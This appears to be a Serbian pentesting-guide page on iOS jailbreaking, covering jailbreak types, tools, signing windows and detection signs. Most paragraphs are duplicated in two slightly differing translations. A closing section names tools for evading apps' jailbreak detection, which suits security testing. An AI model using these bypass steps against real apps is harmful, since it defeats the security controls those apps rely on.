Iako se često upoređuju, **rooting** na Android-u i **jailbreaking** na iOS-u su fundamentalno različiti procesi. Rooting Android uređaja može uključivati **instalaciju `su` binarnog fajla** ili **zamenu sistema sa rooted custom ROM-om**, što ne zahteva nužno eksploate ako je bootloader otključan. **Flashing custom ROM-ova** zamenjuje OS uređaja nakon otključavanja bootloader-a, ponekad zahtevajući eksploataciju.
Iako se često upoređuju, **rooting** na Android-u i **jailbreaking** na iOS-u su fundamentalno različiti procesi. Rooting Android uređaja može uključivati **instalaciju `su` binarne datoteke** ili **zamenu sistema sa root-ovanim prilagođenim ROM-om**, što ne zahteva nužno eksploate ako je bootloader otključan. **Flashing custom ROM-ova** zamenjuje OS uređaja nakon otključavanja bootloader-a, ponekad zahtevajući eksploataciju.
Nasuprot tome, iOS uređaji ne mogu flash-ovati custom ROM-ove zbog ograničenja bootloader-a da pokreće samo Apple-om potpisane slike. **Jailbreaking iOS-a** ima za cilj da zaobiđe Apple-ove zaštite potpisivanja koda kako bi se pokrenuo nepodpisani kod, proces koji otežava Apple-ova kontinuirana unapređenja bezbednosti.
Nasuprot tome, iOS uređaji ne mogu flash-ovati prilagođene ROM-ove zbog ograničenja bootloader-a da pokreće samo Apple-om potpisane slike. **Jailbreaking iOS** ima za cilj da zaobiđe Apple-ovu zaštitu potpisivanja koda kako bi se pokrenuo nepodpisani kod, proces koji komplikuje Apple-ovo kontinuirano unapređenje bezbednosti.
### Izazovi Jailbreak-ovanja
### Izazovi Jailbreakinga
Jailbreaking iOS-a postaje sve teži jer Apple brzo zakrpljuje ranjivosti. **Downgrade iOS-a** je moguć samo na ograničeno vreme nakon izdanja, što čini jailbreak-ovanje vremenski osetljivim pitanjem. Uređaji korišćeni za bezbednosno testiranje ne bi trebali biti ažurirani osim ako re-jailbreak nije zagarantovan.
Jailbreaking iOS-a postaje sve teži jer Apple brzo zakrpljuje ranjivosti. **Downgrade iOS-a** je moguć samo na ograničeno vreme nakon izdanja, što čini jailbreaking vremenski osetljivim pitanjem. Uređaji korišćeni za bezbednosno testiranje ne bi trebali biti ažurirani osim ako re-jailbreaking nije zagarantovan.
Ažuriranja iOS-a kontrolišu se putem **mehanizma izazov-odgovor** (SHSH blobs), omogućavajući instalaciju samo za Apple-om potpisane odgovore. Ovaj mehanizam, poznat kao "prozor potpisivanja", ograničava mogućnost čuvanja i kasnije korišćenje OTA firmware paketa. [IPSW Downloads website](https://ipsw.me) je resurs za proveru trenutnih prozora potpisivanja.
Ažuriranja iOS-a kontrolišu **mehanizam izazova-odgovora** (SHSH blobs), omogućavajući instalaciju samo za Apple-om potpisane odgovore. Ovaj mehanizam, poznat kao "prozor potpisivanja", ograničava mogućnost čuvanja i kasnije korišćenje OTA firmware paketa. [IPSW Downloads website](https://ipsw.me) je resurs za proveru trenutnih prozora potpisivanja.
### Varijante Jailbreak-ovanja
### Varijante Jailbreakinga
- **Tethered jailbreak-ovi** zahtevaju vezu sa računarom za svaki reboot.
- **Semi-tethered jailbreak-ovi** omogućavaju pokretanje u ne-jailbroken režimu bez računara.
- **Semi-untethered jailbreak-ovi** zahtevaju ručno re-jailbreak-ovanje bez potrebe za računarom.
- **Untethered jailbreak-ovi** nude trajno rešenje za jailbreak bez potrebe za ponovnim primenom.
- **Tethered jailbreaks** zahtevaju vezu sa računarom za svaki reboot.
- **Semi-tethered jailbreaks** omogućavaju pokretanje u ne-jailbroken režimu bez računara.
- **Semi-untethered jailbreaks** zahtevaju ručno re-jailbreaking bez potrebe za računarom.
- **Untethered jailbreaks** nude trajno rešenje za jailbreak bez potrebe za ponovnom primenom.
### Alati i Resursi za Jailbreaking
Alati za jailbreak-ovanje variraju prema verziji iOS-a i uređaju. Resursi kao što su [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) pružaju ažurirane informacije. Primeri uključuju:
Alati za jailbreaking variraju prema verziji iOS-a i uređaju. Resursi kao što su [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) pružaju ažurirane informacije. Primeri uključuju:
- [Checkra1n](https://checkra.in/) za A7-A11 čip uređaje.
- [Palera1n](https://palera.in/) za Checkm8 uređaje (A8-A11) na iOS 15.0-16.5.
- [Unc0ver](https://unc0ver.dev/) za iOS verzije do 14.8.
Modifikovanje vašeg uređaja nosi rizike, i jailbreak-ovanje treba pristupiti sa oprezom.
Modifikacija vašeg uređaja nosi rizike, i jailbreaking treba pristupiti sa oprezom.
### Prednosti i Rizici Jailbreak-ovanja
### Prednosti i Rizici Jailbreakinga
Jailbreaking **uklanja sandboxing koji nameće OS**, omogućavajući aplikacijama pristup celom fajl sistemu. Ova sloboda omogućava instalaciju neodobrenih aplikacija i pristup više API-ja. Međutim, za obične korisnike, jailbreak-ovanje **nije preporučljivo** zbog potencijalnih bezbednosnih rizika i nestabilnosti uređaja.
Jailbreaking **uklanja sandboxing koji nameće OS**, omogućavajući aplikacijama pristup celom fajl sistemu. Ova sloboda omogućava instalaciju neodobrenih aplikacija i pristup više API-ja. Međutim, za obične korisnike, jailbreaking **nije preporučen** zbog potencijalnih bezbednosnih rizika i nestabilnosti uređaja.
### **Nakon Jailbreak-ovanja**
### **Nakon Jailbreakinga**
{{#ref}}
basic-ios-testing-operations.md
{{#endref}}
### **Detekcija Jailbreak-ovanja**
### **Detekcija Jailbreakinga**
**Nekoliko aplikacija će pokušati da detektuje da li je mobilni uređaj jailbreak-ovan i u tom slučaju aplikacija neće raditi**
- Nakon jailbreak-ovanja iOS-a **fajlovi i fascikle se obično instaliraju**, ovi se mogu pretraživati da bi se utvrdilo da li je uređaj jailbreak-ovan.
- Na jailbreak-ovanom uređaju aplikacije dobijaju **read/write pristup novim fajlovima** van sandbox-a.
- Neki **API** **pozivi** će **drugačije reagovati**.
- Prisutnost **OpenSSH** servisa.
- Pozivanje `/bin/sh` će **vratiti 1** umesto 0.
- Nakon jailbreakinga na iOS-u **fajlovi i fascikle se obično instaliraju**, ovi se mogu pretraživati da bi se utvrdilo da li je uređaj jailbreak-ovan.
- Na jailbreak-ovanom uređaju aplikacije dobijaju **read/write pristup novim fajlovima** van sandbox-a
- Neki **API** **pozivi** će **drugačije reagovati**
- Prisutnost **OpenSSH** servisa
- Pozivanje `/bin/sh` će **vratiti 1** umesto 0
**Više informacija o tome kako detektovati jailbreak-ovanje** [**ovde**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
**Više informacija o tome kako detektovati jailbreaking** [**ovde**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
Možete pokušati da izbegnete ovu detekciju koristeći **objection's** `ios jailbreak disable`
## **Zaobilaženje Detekcije Jailbreak-ovanja**
## **Zaobilaženje Detekcije Jailbreakinga**
- Možete pokušati da izbegnete ovu detekciju koristeći **objection's** `ios jailbreak disable`
- Takođe možete instalirati alat **Liberty Lite** (https://ryleyangus.com/repo/). Kada se repo doda, aplikacija bi trebala da se pojavi u Search tabu.
- Takođe možete instalirati alat **Liberty Lite** (https://ryleyangus.com/repo/). Kada se repo doda, aplikacija bi trebala da se pojavi u Search tabu
## Reference